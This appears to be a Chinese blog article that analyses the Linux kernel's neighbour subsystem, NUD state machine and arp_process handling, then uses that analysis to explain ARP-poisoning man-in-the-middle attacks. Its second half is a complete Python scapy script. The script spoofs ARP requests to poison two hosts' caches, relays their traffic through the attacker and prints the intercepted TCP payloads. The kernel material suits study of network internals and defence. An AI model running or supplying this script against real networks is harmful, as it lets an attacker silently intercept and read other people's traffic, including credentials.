邻居子系统与ARP协议
邻居子系统的作用就是将IP地址，转换为MAC地址，类似操作系统中的MMU（内存管理单元），将虚拟地址，转换为物理地址。
其中邻居子系统相当于地址解析协议（IPv4的ARP协议，IPv6的ND(Neighbor discover)协议）的一个通用抽象，可以在其上实现ARP等各种地址解析协议
邻居子系统的数据结构
struct neighbour{
....................
}neighbour结构存储的是IP地址与MAC地址的对应关系，当前状态
struct neighbour_table{
....................
}每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init，其会创建arp_tbl
neighbour_table 包含 neighbour
邻居子系统的状态转换
其状态信息是存放在neighbour结构的nud_state字段的
可以分析neigh_update与neigh_timer_handler函数，来理解他们之间的转换关系。
NUD_NONE:
表示刚刚调用neigh_alloc创建neighbourNUD_IMCOMPLETE
发送一个请求，但是还未收到响应。如果经过一段时间后，还是没有收到响应，则查看发送请求数是否超过上限，如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLENUD_REACHABLE:
表示目标可达。如果经过一段时间，未有到达目标的数据包，则转为NUD_STALE状态NUD_STALE
在此状态，如果有用户准备发送数据，则切换到NUD_DELAY状态NUD_DELAY
该状态会启动一个定时器，然后接受可到达确认，如果定时器过期之前，收到可到达确认，则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。NUD_PROBE
类似NUD_IMCOMPLETE状态NUD_FAILED
不可达状态，准备删除该neighbour各种状态之间的切换，也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看
ARP接收处理函数分析
ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中
我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程
当为ARP请求数据包，且能找到到目的地址的路由
如果不是发送到本机的ARP请求数据包，则看是否需要进行代理ARP处理
如果是发送到本机的ARP请求数据包，则分neighbour的状态进行讨论，但是通过分析发现，不论当前neighbour是处于何种状态（NUD_FAILD、NUD_NONE除外），则都会将状态切换成 NUD_STALE状态，且mac地址不相同时，则会切换到本次发送方的mac地址
当为ARP请求数据包，不能找到到目的地址的路由
不做任何处理
当为ARP响应数据包
如果没有对应的neighbour，则不做任何处理。如果该neighbour存在，则将状态切换为NUD_REACHABLE，MAC地址更换为本次发送方的地址
中间人攻击原理
通过以上分析，可以向受害主机A发送ARP请求数据包，其中请求包中将源IP地址，设置成为受害主机B的IP地址，这样，就会将主机A中的B的 MAC缓存，切换为我们的MAC地址。
同理，向B中发送ARP请求包，其中源IP地址为A的地址
然后，我们进行ARP数据包与IP数据包的中转，从而达到中间人攻击。
使用Python scapy包，实现中间人攻击：
环境
python3
ubuntu 14.04
VMware 虚拟专用网络
代码
#!/usr/bin/python3
from scapy.all import *
import threading
import time
client_ip = "192.168.222.186"
client_mac = "00:0c:29:98:cd:05"
server_ip = "192.168.222.185"
server_mac = "00:0c:29:26:32:aa"
my_ip = "192.168.222.187"
my_mac = "00:0c:29:e5:f1:21"
def packet_handle(packet):
if packet.haslayer("ARP"):
if packet.pdst == client_ip or packet.pdst == server_ip:
if packet.op == 1: # request
if packet.pdst == client_ip:
pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)
sendp(pkt)
if packet.pdst == server_ip:
pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)
sendp(pkt)
pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) #reply
sendp(pkt)
if packet.op == 2: #reply
if packet.pdst == client_ip:
pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)
sendp(pkt)
if packet.pdst == server_ip:
pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)
sendp(pkt)
if packet.haslayer("IP"):
if packet[IP].dst == client_ip or packet[IP].dst == server_ip:
if packet[IP].dst == client_ip:
packet[Ether].dst=client_mac
if packet[IP].dst == server_ip:
packet[Ether].dst=server_mac
packet[Ether].src = my_mac
sendp(packet)
if packet.haslayer("TCP"):
print(packet[TCP].payload)
class SniffThread(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
sniff(prn = packet_handle,count=0)
class PoisoningThread(threading.Thread):
__src_ip = ""
__dst_ip = ""
__mac = ""
def __init__(self,dst_ip,src_ip,mac):
threading.Thread.__init__(self)
self.__src_ip = src_ip
self.__dst_ip = dst_ip
self.__mac = mac
def run(self):
pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)
srp1(pkt)
print("poisoning thread exit")
if __name__ == "__main__":
my_sniff = SniffThread()
client = PoisoningThread(client_ip,server_ip,client_mac)
server = PoisoningThread(server_ip,client_ip,server_mac)
client.start()
server.start()
my_sniff.start()
client.join()
server.join()
my_sniff.join()
client_ip 为发送数据的IP
server_ip 为接收数据的IP
参考质料
Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制